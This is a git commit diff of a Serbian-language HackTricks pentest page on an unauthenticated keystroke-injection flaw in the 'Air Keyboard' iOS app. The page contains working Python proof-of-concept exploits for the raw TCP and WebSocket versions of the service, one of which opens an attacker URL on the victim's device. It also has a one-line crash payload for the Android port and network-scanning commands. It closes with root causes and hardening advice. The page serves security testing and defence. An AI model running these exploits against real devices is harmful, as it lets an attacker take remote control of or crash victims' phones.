mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
e2f7b6e718
commit
5dabad6b99
@ -1,18 +1,26 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS verzija komercijalne aplikacije "Air Keyboard" (App Store ID 6463187929) otvara **TCP servis u čistom tekstu na portu 8888** koji prihvata okvire pritisaka tastera **bez ikakve autentifikacije**. Svaki uređaj na istoj Wi-Fi mreži može se povezati na taj port i injektovati proizvoljni unos sa tastature u telefon žrtve, ostvarujući **potpuno preuzimanje daljinske interakcije**.
|
||||
iOS verzija komercijalne **“Air Keyboard”** aplikacije (App Store ID 6463187929) izlaže uslugu lokalne mreže koja **prihvata okvire pritisaka tastera bez ikakve autentifikacije ili provere porekla**. U zavisnosti od instalirane verzije, usluga je ili:
|
||||
|
||||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani otpad uzrokuje **neobrađenu izuzetak u OpenSSL rutini dekripcije**, rušeći pozadinsku uslugu (**DoS**).
|
||||
* **≤ 1.0.4** – sirovi TCP slušalac na **portu 8888** koji očekuje 2-bajtni zaglavlje dužine praćeno *device-id* i ASCII payload-om.
|
||||
* **≥ 1.0.5 (jun 2025)** – **WebSocket** slušalac na *istom* portu (**8888**) koji analizira **JSON** ključeve kao što su `{"type":1,"text":"…"}`.
|
||||
|
||||
## 1. Otkriće servisa
|
||||
Svaki uređaj na istoj Wi-Fi / podmreži može **ubaciti proizvoljni unos sa tastature u telefon žrtve, postignuvši potpunu daljinsku interakciju**.
|
||||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu, ali kreirani šum i dalje uzrokuje **neobrađenu izuzetak unutar OpenSSL**, rušeći pozadinsku uslugu (**DoS**).
|
||||
|
||||
Skenirajte lokalnu mrežu i tražite dva fiksna porta koja koriste aplikacije:
|
||||
> Ranljivost je **i dalje neispravljena u trenutku pisanja (jul 2025)** i aplikacija ostaje dostupna u App Store-u.
|
||||
|
||||
---
|
||||
|
||||
## 1. Otkriće usluge
|
||||
|
||||
Skenirajte lokalnu mrežu i potražite dva fiksna porta koja koriste aplikacije:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
# iOS (unauthenticated input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Na Android uređajima možete lokalno identifikovati odgovarajući paket:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Format okvira (iOS)
|
||||
Na **jailbroken iOS** možete uraditi nešto slično sa `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||
|
||||
Binarni fajl otkriva sledeću logiku parsiranja unutar rutine `handleInputFrame()`:
|
||||
---
|
||||
|
||||
## 2. Detalji protokola (iOS)
|
||||
|
||||
### 2.1 Nasleđe (≤ 1.0.4) – prilagođeni binarni okviri
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Deklarisana dužina uključuje `device_id` bajt **ali ne** i dvobajtni header.
|
||||
Deklarisana *dužina* uključuje `device_id` bajt **ali ne** i dvobajtni zaglavlje.
|
||||
|
||||
### 2.2 Trenutna (≥ 1.0.5) – JSON preko WebSocket-a
|
||||
|
||||
Verzija 1.0.5 tiho je migrirala na WebSocket-e dok je port broj ostao nepromenjen. Minimalni pritisak tastera izgleda ovako:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
"text": "open -a Calculator\n",
|
||||
"mode": 0,
|
||||
"shiftKey": false,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}
|
||||
```
|
||||
Nema potrebe za rukovanjem, tokenom ili potpisom – prvi JSON objekat već pokreće UI događaj.
|
||||
|
||||
---
|
||||
|
||||
## 3. Eksploatacija PoC
|
||||
|
||||
### 3.1 Ciljanje ≤ 1.0.4 (raw TCP)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
Svaki štampajući ASCII (uključujući `\n`, `\r`, specijalne tastere, itd.) može biti poslat, efektivno dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, poseta phishing URL-ovima, itd.
|
||||
### 3.2 Ciljanje ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
import json, sys, websocket # `pip install websocket-client`
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||
ws.send(json.dumps({
|
||||
"type": 1,
|
||||
"text": "https://evil.example\n",
|
||||
"mode": 0,
|
||||
"shiftKey": False,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}))
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*Svaki štampajući ASCII — uključujući prelome linija, tabove i većinu specijalnih tastera — može biti poslat, dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, otvaranje zlonamernih URL-ova, prebacivanje podešavanja, itd.*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Odbijanje usluge
|
||||
|
||||
Android port (55535) očekuje lozinku od 4 karaktera enkriptovanu sa **hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
|
||||
Android port (55535) očekuje **4-znamenkastu lozinku enkriptovanu sa hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose do `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Uzrok
|
||||
---
|
||||
|
||||
## 5. Povezane Aplikacije – Ponavljajući Anti-Obrazac
|
||||
|
||||
Air Keyboard **nije izolovan slučaj**. Druge mobilne “daljinske tastature/misevi” imaju istu manu:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 omogućava neautentifikovanu izvršavanje komandi i logovanje tastera u običnom tekstu.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 neautentifikovana RCE & prisluškivanje saobraćaja.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 podrazumevano-bez-lozinke, slaba PIN brute-force i curenje u običnom tekstu.
|
||||
|
||||
Ovi slučajevi ističu sistematsko zanemarivanje **napadačkih površina koje su okrenute ka mreži na mobilnim aplikacijama**.
|
||||
|
||||
---
|
||||
|
||||
## 6. Osnovni Uzroci
|
||||
|
||||
1. **Nema provere porekla / integriteta** na dolaznim okvirima (iOS).
|
||||
2. **Kryptografska zloupotreba** (stat ključ, ECB, nedostatak provere dužine) i **nedostatak obrade izuzetaka** (Android).
|
||||
3. **Korisnički odobrena Local-Network dozvola ≠ sigurnost** – iOS zahteva saglasnost u toku rada za LAN saobraćaj, ali to ne zamenjuje pravilnu autentifikaciju.
|
||||
|
||||
## 6. Mogućnosti ublažavanja i ideje za jačanje
|
||||
---
|
||||
|
||||
* Nikada ne izlagati neautentifikovane usluge na mobilnom uređaju.
|
||||
* Izvesti tajne po uređaju tokom onboardinga i proveriti ih pre obrade unosa.
|
||||
* Povezati slušalac na `127.0.0.1` i koristiti međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje.
|
||||
* Otkrivati neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||||
* Kao krajnji korisnik: deinstalirati Air Keyboard ili ga koristiti samo na pouzdanim, izolovanim Wi-Fi mrežama.
|
||||
## 7. Ojačavanje & Odbrambene Mere
|
||||
|
||||
Preporuke za programere:
|
||||
|
||||
* Povežite slušalac na **`127.0.0.1`** i tunelujte preko **mTLS** ili **Noise XX** ako je potrebna daljinska kontrola.
|
||||
* Izvedite **tajne po uređaju tokom onboardinga** (npr. QR kod ili PIN za uparivanje) i primenite *uzajamnu* autentifikaciju pre obrade unosa.
|
||||
* Usvojite **Apple Network Framework** sa *NWListener* + TLS umesto sirovih soketa.
|
||||
* Implementirajte **provere dužine** i strukturiranu obradu izuzetaka prilikom dekriptovanja ili dekodiranja okvira.
|
||||
|
||||
Brzi dobitci za Blue-/Red-Team:
|
||||
|
||||
* **Mrežno lovljenje:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ili Wireshark filter `tcp.port == 8888`.
|
||||
* **Inspekcija u toku rada:** Frida skripta koja hvata `socket()`/`NWConnection` da bi se prikazali neočekivani slušatelji.
|
||||
* **iOS Izveštaj o Privatnosti Aplikacija (Podešavanja ▸ Privatnost & Bezbednost ▸ Izveštaj o Privatnosti Aplikacija)** ističe aplikacije koje kontaktiraju LAN adrese – korisno za uočavanje zlonamernih usluga.
|
||||
* **Mobilni EDR-ovi** mogu dodati jednostavna Yara-L pravila za JSON ključeve `"selectionStart"`, `"selectionEnd"` unutar običnih TCP tereta na portu 8888.
|
||||
|
||||
---
|
||||
|
||||
## Detekcija Cheat-Sheet (Pentesteri)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
| awk '/Ports/{print $2 " " $4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user